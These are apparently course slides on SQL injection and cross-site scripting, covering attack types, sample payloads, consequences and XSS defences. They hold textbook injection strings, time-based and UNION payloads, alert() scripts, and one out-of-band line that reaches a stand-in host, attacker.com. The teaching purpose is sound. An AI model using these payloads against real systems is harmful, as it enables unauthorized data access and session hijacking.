Unit 7

SQL Injection and XSS

SQL Injection
• SQL Injection (SQLi) is one of the most well-known
and dangerous web application vulnerabilities.
• It occurs when an attacker is able to manipulate a web
application's SQL query by injecting malicious SQL code
into an input field (such as a form, URL, or cookies) that
is not properly validated or sanitized.
• This allows the attacker to execute arbitrary SQL
commands on the backend database, potentially
leading to unauthorized access to or modification of
data, system compromise, or even complete control
over the database.
Types:
1. Classic SQL Injection: The attacker directly inserts SQL
commands into input fields, causing the application to execute
unintended queries.
• SELECT * FROM users WHERE username = '[USER_INPUT]'
AND password = '[USER_PASSWORD]’;
• If an attacker inputs admin' OR 1=1 -- as the username and
any password, the query would become:
• SELECT * FROM users WHERE username = 'admin' OR 1=1 --'
AND password = 'password’;
• The -- comment makes the rest of the query irrelevant, and
the condition 1=1 is always true, potentially allowing
unauthorized login.
Cont..
2. Blind SQL Injection: In cases where the application does
not display error messages, attackers can still infer
information by sending different inputs and observing the
application's behavior.
There are two main types of blind SQLi:
• Boolean-based Blind SQL Injection: The attacker alters
the query to evaluate a true/false condition and deduces
information based on the application's response.
• Example: http://example.com/product?id=1' AND 1=1 -- vs.
http://example.com/product?id=1' AND 1=2 --
• If the first query succeeds and the second one fails, the attacker
knows that the condition is being evaluated and can continue
gathering information.
Cont..
• Time-based Blind SQL Injection: The attacker forces
the database to pause or delay its response, which can
be used to determine the truth of a query.
Example: http://example.com/product?id=1' OR IF(1=1,
SLEEP(5), 0) --
• If the application pauses for 5 seconds, the attacker
knows the condition is true.
Cont..
3. Union-based SQL Injection: This technique allows
the attacker to combine the results of multiple SELECT
queries into a single result set. By using the UNION SQL
operator, attackers can retrieve data from other tables in
the database.
SELECT id, name FROM users WHERE username =
'[USER_INPUT]';
' UNION SELECT username, password FROM admins --
This would cause the query to return usernames and
passwords from the admins table.
Cont..
4. Out-of-Band SQL Injection: In this case, the
attacker is able to get data from the database via
different channels, often by causing the database to send
data to an external server or service controlled by the
attacker.

http://example.com/page?id=1' UNION SELECT

load_file('\\\\attacker.com\\malicious_file') --
How SQL Injection Works?
• Identify an Input Vector: The attacker finds a user
input field (e.g., a login form, search box, URL
parameter, etc.) where SQL queries are generated
based on user input.
• Inject Malicious Input: The attacker injects SQL
code into the input field. This could be an additional
SQL command, a change in logic, or a special
character (like a single quote ('), double dash (--), or
semicolon (;) that terminates the existing SQL
statement and adds new commands.
Cont..
• Execute the Malicious Query: The web application
passes the modified input to the backend database as
part of an SQL query. If the query is not sanitized or
validated, it executes the attacker's SQL code along
with the intended SQL query.
• Receive and Exploit Data: Depending on the attack's
intent, the attacker might retrieve sensitive data,
modify records, delete data, or execute administrative
operations. The results are either returned to the
attacker or logged for further exploitation.
Consequences of SQL Injection
Attack
• Unauthorized Access to Data: Attackers can view,
modify, or delete sensitive data (e.g., usernames,
passwords, credit card information, etc.).
• Bypassing Authentication: Attackers can gain
unauthorized access to the application by manipulating
login queries.
• Data Corruption or Loss: Attackers can delete or modify
data, causing corruption or loss.
• Privilege Escalation: By injecting commands, attackers
might gain administrative access to the database or the
underlying server.
Cont..
• Remote Code Execution: In some cases, attackers
can use SQLi to execute arbitrary system commands,
potentially leading to a full compromise of the server.
• Denial of Service (DoS): Malicious queries could
overwhelm the database, causing it to become
unresponsive or crash.
• Leakage of Sensitive Information: Attackers can
access internal database structures, revealing sensitive
information such as table names, columns, and other
metadata.
Cross Site Scripting (XSS)
• Cross-Site Scripting (XSS) is a common and
dangerous web application vulnerability that allows
attackers to inject malicious scripts (typically JavaScript)
into web pages viewed by other users.
• XSS attacks take advantage of web applications that fail
to properly validate or sanitize user input.
• When successfully executed, these attacks can hijack
user sessions, deface websites, steal sensitive
information (such as login credentials or cookies), and
perform actions on behalf of the victim.
Types
1. Stored XSS (Persistent XSS)
Stored XSS occurs when the malicious script injected by
the attacker is stored persistently on the web server,
such as in a database, and then served to other users
when they request the affected page.
Example:
• An attacker might inject the following JavaScript
payload into a comment section of a blog or forum:
• <script>alert('Your session has been
hijacked!');</script>
Cont…
2. Reflected XSS (Non-persistent XSS)
Reflected XSS occurs when the malicious script is
reflected off a web server (often via a URL or query
string) without being stored.
The script is executed immediately when the user clicks
on a specially crafted link, often through phishing
attacks, and the attack typically targets the user who
clicks the malicious link.
Example:
• An attacker sends a victim a URL like:
http://example.com/search?q=<script>alert('XSS
Attack');</script>
Cont..
3. DOM-based XSS
• DOM-based XSS occurs when the vulnerability is in the client-
side code (JavaScript) rather than on the server-side.
• In this case, the malicious script is not sent to the server at all
but is triggered and executed by a client-side script.
• The attacker manipulates the DOM (Document Object Model) of
the page through malicious inputs or links, causing the script to
execute in the victim’s browser.
Example:
• http://example.com/profile#name=<script>alert('XSS');</
script>
How CSS Works?
• Inject Malicious Script: The attacker inputs malicious JavaScript
code into a web form, URL, or other input mechanism on the website
(e.g., search boxes, comment fields, or profile updates).
• Execution of Malicious Script: The web application either stores or
reflects this script in a page that is served to other users.
• Victim Views the Page: When the victim views the page (or clicks on
a specially crafted URL), the malicious script is executed in their
browser.
• Impact: The attacker can now steal the victim’s session cookies,
redirect them to malicious websites, log keystrokes, perform actions
on their behalf, or otherwise compromise the user's security.
Impact of XSS Attacks
• Session Hijacking: Stealing a user's session cookie can allow an
attacker to impersonate the user and access their private data or
perform actions on their behalf.
• Credential Theft: If XSS is used in conjunction with a phishing
attack, attackers can capture login credentials (e.g., via fake login
forms).
• Malicious Redirects: The attacker can redirect users to phishing
websites or malicious sites that install malware.
• Defacement: An attacker can modify the content of a web page,
causing reputational damage or malicious content to be displayed.
• Keylogging and Data Exfiltration: By recording keystrokes or
intercepting form submissions, attackers can capture sensitive
information, including passwords or personal data.
Preventing Cross-Site Scripting
(XSS)
1. Input Validation and Sanitization
• Validate Input: Ensure that user inputs are validated against an allowlist (whitelist). For
example, if the input is supposed to be a username, ensure that it only contains letters
and numbers.
• Sanitize Input: Remove or escape potentially dangerous characters, such as <, >, ',
and ". Libraries like OWASP’s Java HTML Sanitizer can help in sanitizing inputs.
• Limit User Input: Restrict the types of input that users can provide. For example, if the
input is a search query, restrict special characters or limit it to a specific length.

2. Use Contextual Output Encoding

• HTML Encode: Ensure that any user-generated content that is rendered in HTML is
encoded to prevent the browser from interpreting it as executable code. For example,
convert < to &lt; and > to &gt;.
• JavaScript Encoding: When inserting data into JavaScript code, ensure it is properly
escaped to prevent execution. For example, encode special characters in JavaScript
strings.
• CSS and URL Encoding: Similarly, sanitize and encode data inserted into CSS or URLs.
Cont.
3. Content Security Policy (CSP)
Implement a Content Security Policy (CSP) that
restricts which sources of scripts (e.g., external JavaScript)
are allowed to run. CSP is a powerful tool to mitigate XSS
by blocking unauthorized scripts from executing.
4. Use HttpOnly and Secure Cookies
Use HttpOnly and Secure flags on cookies to ensure they
are not accessible via JavaScript and are transmitted only
over HTTPS.
• Set-Cookie: sessionid=12345; HttpOnly; Secure
Cont..
5. Use Frameworks and Libraries That Automatically Escape
Output
• Many modern web frameworks (like Django, Ruby on Rails, React,
etc.) automatically escape user input by default, making it harder to
fall into the trap of XSS vulnerabilities.
6. Avoid Inline JavaScript
• Avoid using inline JavaScript (e.g., inside HTML attributes or <script>
tags) and use external JavaScript files instead. This makes it easier to
implement CSP and prevents inline scripts from being executed.
7. Security Headers
• Enable security headers like X-XSS-Protection (though it’s
deprecated in many browsers) and Content-Security-Policy (CSP)
to help block certain types of XSS attacks.